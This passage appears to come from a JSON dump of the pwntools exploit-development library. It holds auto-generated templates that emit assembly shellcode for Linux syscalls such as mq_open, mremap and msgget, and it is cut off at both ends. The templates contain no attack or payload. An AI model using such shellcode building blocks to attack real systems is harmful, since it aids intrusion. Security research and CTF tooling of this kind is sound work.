${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mq_open.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mq_open(name, oflag, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall mq_open.\n\nSee 'man 2 mq_open' for more information.\n\nArguments:\n    name(char*): name\n    oflag(int): oflag\n    vararg(int): vararg\nReturns:\n    mqd_t\n</%docstring>\n<%page args=\"name=0, oflag=0, vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['name', 'oflag', 'vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [name, oflag, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mq_open']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mq_open'])\n%>\n    /* mq_open(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mq_timedreceive.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mq_timedreceive(mqdes, msg_ptr, msg_len, msg_prio, abs_timeout) -> str\n\nInvokes the syscall mq_timedreceive.\n\nSee 'man 2 mq_timedreceive' for more information.\n\nArguments:\n    mqdes(mqd_t): mqdes\n    msg_ptr(char*): msg_ptr\n    msg_len(size_t): msg_len\n    msg_prio(unsigned*): msg_prio\n    abs_timeout(timespec*): abs_timeout\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"mqdes=0, msg_ptr=0, msg_len=0, msg_prio=0, abs_timeout=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['msg_ptr']\n    can_pushstr_array = []\n\n    argument_names = ['mqdes', 'msg_ptr', 'msg_len', 'msg_prio', 'abs_timeout']\n    argument_values = [mqdes, msg_ptr, msg_len, msg_prio, abs_timeout]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mq_timedreceive']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mq_timedreceive'])\n%>\n    /* mq_timedreceive(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mq_timedreceive_time64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mq_timedreceive_time64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall mq_timedreceive_time64.\n\nSee 'man 2 mq_timedreceive_time64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mq_timedreceive_time64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mq_timedreceive_time64'])\n%>\n    /* mq_timedreceive_time64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mq_timedsend.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mq_timedsend(mqdes, msg_ptr, msg_len, msg_prio, abs_timeout) -> str\n\nInvokes the syscall mq_timedsend.\n\nSee 'man 2 mq_timedsend' for more information.\n\nArguments:\n    mqdes(mqd_t): mqdes\n    msg_ptr(char*): msg_ptr\n    msg_len(size_t): msg_len\n    msg_prio(unsigned): msg_prio\n    abs_timeout(timespec*): abs_timeout\nReturns:\n    int\n</%docstring>\n<%page args=\"mqdes=0, msg_ptr=0, msg_len=0, msg_prio=0, abs_timeout=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['msg_ptr']\n    can_pushstr_array = []\n\n    argument_names = ['mqdes', 'msg_ptr', 'msg_len', 'msg_prio', 'abs_timeout']\n    argument_values = [mqdes, msg_ptr, msg_len, msg_prio, abs_timeout]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mq_timedsend']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mq_timedsend'])\n%>\n    /* mq_timedsend(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mq_timedsend_time64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mq_timedsend_time64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall mq_timedsend_time64.\n\nSee 'man 2 mq_timedsend_time64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mq_timedsend_time64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mq_timedsend_time64'])\n%>\n    /* mq_timedsend_time64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mq_unlink.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mq_unlink(name) -> str\n\nInvokes the syscall mq_unlink.\n\nSee 'man 2 mq_unlink' for more information.\n\nArguments:\n    name(char*): name\nReturns:\n    int\n</%docstring>\n<%page args=\"name=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['name']\n    argument_values = [name]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mq_unlink']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mq_unlink'])\n%>\n    /* mq_unlink(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mremap.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mremap(addr, old_len, new_len, flags, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall mremap.\n\nSee 'man 2 mremap' for more information.\n\nArguments:\n    addr(void*): addr\n    old_len(size_t): old_len\n    new_len(size_t): new_len\n    flags(int): flags\n    vararg(int): vararg\nReturns:\n    void*\n</%docstring>\n<%page args=\"addr=0, old_len=0, new_len=0, flags=0, vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['addr']\n    can_pushstr_array = []\n\n    argument_names = ['addr', 'old_len', 'new_len', 'flags', 'vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [addr, old_len, new_len, flags, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mremap']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mremap'])\n%>\n    /* mremap(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/msgctl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>msgctl(msqid, cmd, buf) -> str\n\nInvokes the syscall msgctl.\n\nSee 'man 2 msgctl' for more information.\n\nArguments:\n    msqid(int): msqid\n    cmd(int): cmd\n    buf(msqid_ds*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"msqid=0, cmd=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['msqid', 'cmd', 'buf']\n    argument_values = [msqid, cmd, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_msgctl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_msgctl'])\n%>\n    /* msgctl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/msgget.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>msgget(key, msgflg) -> str\n\nInvokes the syscall msgget.\n\nSee 'man 2 msgget' for more information.\n\nArguments:\n    key(key_t): key\n    msgflg(int): msgflg\nReturns:\n    int\n</%docstring>\n<%page args=\"key=0, msgflg=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['key', 'msgflg']\n    argument_values = [key, msgflg]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, 